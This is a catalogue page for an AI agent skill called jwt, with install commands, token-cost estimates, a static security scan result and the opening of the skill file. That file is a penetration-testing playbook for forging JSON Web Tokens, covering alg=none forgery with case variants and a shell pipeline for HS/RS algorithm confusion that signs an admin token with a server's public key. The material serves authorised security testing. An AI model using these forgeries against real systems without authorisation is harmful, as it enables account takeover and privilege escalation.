Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/pentesterflow/agent/jwtnpx skills add PentesterFlow/agent --skill jwtgit clone --depth 1 https://github.com/PentesterFlow/agentWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00060 | $0.01477 |
| Opus 5 | $0.00030 | $0.00739 |
| Sonnet 5 | $0.00012 | $0.00295 |
| Haiku 4.5 | $0.00006 | $0.00148 |
Grade A, and why
jwt scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
PUB=$(curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]' | jose key -i- -O pem.pub) How it starts
The opening of the file, as written. The whole thing — 130 lines — stays where its author put it; the contents beside it link to each section on GitHub.
JWT playbook
You have one or more eyJ... tokens. The goal is to forge an authenticated token that the server accepts.
Execution rule: use real tokens, URLs, and keys from the scoped target before running commands. Never write literal placeholders such as <payload-b64> or <future> to files; if a value is missing, ask once.
0. Decode every token you have
Base64url-decode header and payload. Note:
alg— algorithm.none,HS256,HS384,HS512,RS256,RS384,RS512,ES256,ES384,ES512,PS256...kid— key identifier (path / id pointing at a key on the server).jku— URL to a JWK Set hosting the signing keys.jwk— embedded JWK.x5u— URL to an X.509 certificate.x5c— embedded X.509 chain.
echo "<payload-b64>" | base64 -d | jq .
Capture the user id / role field for later forgery (sub, uid, role, isAdmin, ...).
1. alg=none
Many libraries used to (and a few still do) accept {"alg":"none"} and skip signature verification. Forge:
header = base64url({"alg":"none","typ":"JWT"})
payload = base64url({"sub":"admin","role":"admin","exp":<future>})
signature = "" # empty, but the trailing dot stays
token = header + "." + payload + "."
Variants to try: none, None, NONE, NoNe (case fuzzing) — read_payloads(skill="jwt", file="alg-none-variants.txt").
2. HS/RS algorithm confusion
If the server expects RS256 (asymmetric, verifies with public key) and you can obtain the public key, you can forge an HS256 token signed with the public key as the HMAC secret.
Find the public key:
/.well-known/jwks.json,/jwks.json,/api/jwks,/oauth2/jwks,/jwks_urifrom OIDC discovery.- Sometimes embedded in a JS bundle (
grep -E "BEGIN PUBLIC KEY" -r).
Forge with hs-rs-confusion.sh:
PUB=$(curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]' | jose key -i- -O pem.pub)
HEAD=$(printf '%s' '{"alg":"HS256","typ":"JWT"}' | base64url)
PAYL=$(printf '%s' '{"sub":"admin","exp":2000000000}' | base64url)
SIG=$(printf '%s.%s' "$HEAD" "$PAYL" | openssl dgst -sha256 -hmac "$(cat pem.pub)" -binary | base64url)
echo "$HEAD.$PAYL.$SIG"
What ships with it
3 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- yesterday First seen · 130 lines · 60 tokens per session scan A 22d68bc0dfd4
jwt is a skill published in the GitHub repository PentesterFlow/agent (1,316 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 60 tokens to every session and 1,477 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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